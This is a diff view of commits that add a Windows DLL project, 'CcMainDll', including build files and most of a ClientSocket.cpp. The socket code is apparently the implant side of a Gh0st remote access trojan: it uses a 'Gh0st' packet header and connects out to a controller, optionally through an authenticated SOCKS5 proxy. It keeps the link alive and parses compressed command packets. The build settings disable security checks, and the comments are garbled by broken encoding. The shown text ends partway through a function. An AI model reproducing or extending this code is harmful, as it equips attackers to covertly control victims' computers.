Compare commits

..

5 Commits

94 changed files with 12457 additions and 39 deletions

Binary file not shown.

31
CcMainDll/CcMainDll.sln Normal file
View File

@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.28307.1082
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.ActiveCfg = Debug|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x64.Build.0 = Debug|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.ActiveCfg = Debug|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Debug|x86.Build.0 = Debug|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.ActiveCfg = Release|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32
{912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {65608601-21C9-427B-B6B6-253BC293B2BA}
EndGlobalSection
EndGlobal

View File

@@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{912043E1-526F-4C23-AF8B-0D76C07F5723}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CcMainDll</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="ClientSocket.h" />
<ClInclude Include="common\Buffer.h" />
<ClInclude Include="common\until.h" />
<ClInclude Include="framework.h" />
<ClInclude Include="pch.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="ClientSocket.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\Buffer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\until.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="framework.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="pch.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Buffer.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\until.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="ClientSocket.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="pch.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="ClientSocket.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Buffer.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\until.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -0,0 +1,533 @@
// ClientSocket.cpp: implementation of the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#include "ClientSocket.h"
#include "../../common/zlib/zlib.h"
#include <process.h>
#include <MSTcpIP.h>
#include "common/Manager.h"
#include "common/until.h"
#pragma comment(lib, "ws2_32.lib")
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
int CClientSocket::m_nProxyType = PROXY_NONE;
char CClientSocket::m_strProxyHost[256] = { 0 };
UINT CClientSocket::m_nProxyPort = 1080;
char CClientSocket::m_strUserName[256] = { 0 };
char CClientSocket::m_strPassWord[256] = { 0 };
CClientSocket::CClientSocket()
{
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = CreateEvent(NULL, true, false, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
WaitForSingleObject(m_hWorkerThread, INFINITE);
if (m_Socket != INVALID_SOCKET)
Disconnect();
CloseHandle(m_hWorkerThread);
CloseHandle(m_hEvent);
WSACleanup();
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
// һ<><D2BB>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>һ<EFBFBD>£<EFBFBD><C2A3><EFBFBD>Ȼsocket<65><74><EFBFBD>ľ<EFBFBD>ϵͳ<CFB5><CDB3>Դ
Disconnect();
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
ResetEvent(m_hEvent);
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
if (m_nProxyType != PROXY_NONE)
pHostent = gethostbyname(m_strProxyHost);
else
pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
if (m_nProxyType != PROXY_NONE)
ClientAddr.sin_port = htons(m_nProxyPort);
else
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
// <20><><EFBFBD><EFBFBD>Nagle<6C><EFBFBD>󣬶Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
// const char chOpt = 1;
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
{
return false;
}
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
const char chOpt = 1; // True
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
{
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
tcp_keepalive klive;
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
WSAIoctl
(
m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
NULL,
0,
(unsigned long *)&chOpt,
0,
NULL
);
}
m_bIsRunning = true;
//---<2D><><EFBFBD>ӳɹ<D3B3><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ת<><D7AA>WorkThread
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
return true;
}
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
{
struct timeval tvSelect_Time_Out;
tvSelect_Time_Out.tv_sec = 3;
tvSelect_Time_Out.tv_usec = 0;
fd_set fdRead;
int nRet = SOCKET_ERROR;
char buff[600];
struct socks5req1 m_proxyreq1;
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
m_proxyreq1.nMethods = 2;
m_proxyreq1.Methods[0] = 0;
m_proxyreq1.Methods[1] = 2;
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
struct socks5ans1 *m_proxyans1;
m_proxyans1 = (struct socks5ans1 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
{
closesocket(m_Socket);
return false;
}
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
{
int nUserLen = strlen(m_strUserName);
int nPassLen = strlen(m_strPassWord);
struct authreq m_authreq;
memset(&m_authreq, 0, sizeof(m_authreq));
m_authreq.Ver = PROXY_SOCKS_VER5;
m_authreq.Ulen = nUserLen;
lstrcpy(m_authreq.NamePass, m_strUserName);
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
int len = 3 + nUserLen + nPassLen;
send(m_Socket, (char *)&m_authreq, len, 0);
struct authans *m_authans;
m_authans = (struct authans *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_authans->Ver != 5 || m_authans->Status != 0)
{
closesocket(m_Socket);
return false;
}
}
hostent* pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
struct socks5req2 m_proxyreq2;
m_proxyreq2.Ver = 5;
m_proxyreq2.Cmd = 1;
m_proxyreq2.Rsv = 0;
m_proxyreq2.Atyp = 1;
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
m_proxyreq2.Port = ntohs(nPort);
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
struct socks5ans2 *m_proxyans2;
m_proxyans2 = (struct socks5ans2 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
{
closesocket(m_Socket);
return false;
}
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><D0A3>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nSize <= 0)
{
pThis->Disconnect();//---<2D><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---<2D><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD> OnRead<61><64><EFBFBD><EFBFBD> ת<><D7AA>OnRead
}
}
return -1;
}
void CClientSocket::run_event_loop()
{
WaitForSingleObject(m_hEvent, INFINITE);
}
bool CClientSocket::IsRunning()
{
return m_bIsRunning;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{
try
{
if (dwIoSize == 0)
{
Disconnect(); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return;
}
//---<2D><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD> Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
//--- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
